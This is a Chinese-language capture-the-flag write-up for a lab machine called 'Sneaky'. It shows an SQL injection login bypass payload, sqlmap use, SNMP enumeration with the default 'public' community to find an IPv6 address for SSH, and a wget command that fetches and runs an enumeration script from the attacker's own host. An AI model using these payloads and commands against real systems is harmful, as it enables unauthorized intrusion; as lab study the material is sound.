Sneaky(snmp默认口令泄露敏感信息)

enum

1
2
3
4
5
6
7
Discovered open port 161/udp on 10.10.10.20                                    
Discovered open port 80/tcp on 10.10.10.20

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Under Development!
161/tcp closed snmp

web

单引号报错,双单引号页面正常,说明有sql注入漏洞。

用户名admin,密码123’or’1’=’1 登入页面,获得一个ssh密钥。

保存密钥为id.rsa文件。

1
2
3
4
chmod 400 id.rsa
ssh -i id.rsa admin@10.10.10.20
ssh -i id.rsa thrasivoulos@10.10.10.20
猜测用户名失败,Connection refused

sql注入提取有效用户名

sqlmap -r sql

snmp

snmp&snmpwalk

1
2
3
4
5
6
7
8
9
10
11
snmpwalk -c public -v 1 10.10.10.20
snmpwalk -Os -c public -v 1 10.10.10.20 -t 30
将延时设置为30

use scanner/snmp/snmp_enum
set RHOSTS 10.10.10.20

git clone https://github.com/trickster0/Enyx;cd Enyx
python enyx.py 2c public 10.10.10.20

ssh -i id.rsa -6 thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:d82f

【本地执行】python -m SimpleHTTPServer 888

【获得的shell执行】cd /tmp;wget http://10.10.14.18:888/linux-exploit-suggester.sh
chmod a+x linux*;./linux* > out.txt

找到了一个suid程序,可以进行缓冲区溢出来获得root权限。这一部分不是很熟悉,等以后有时间再深入学习下吧。

总结

本次实验演示了snmp public/private默认口令泄露主机敏感信息的情况。

ssh禁止了ipv4连接,Connection refused,但是还有ipv6地址。这个思路一般人想不到吧。。。
第一次使用了IPv6地址进行ssh登陆。每一次主机重启,IPv6地址都会改变。

msf的snmp_enum模块可以枚举默认密码的设备的详细信息,但是对于延时很严格,网络不好很可能得不到查询结果。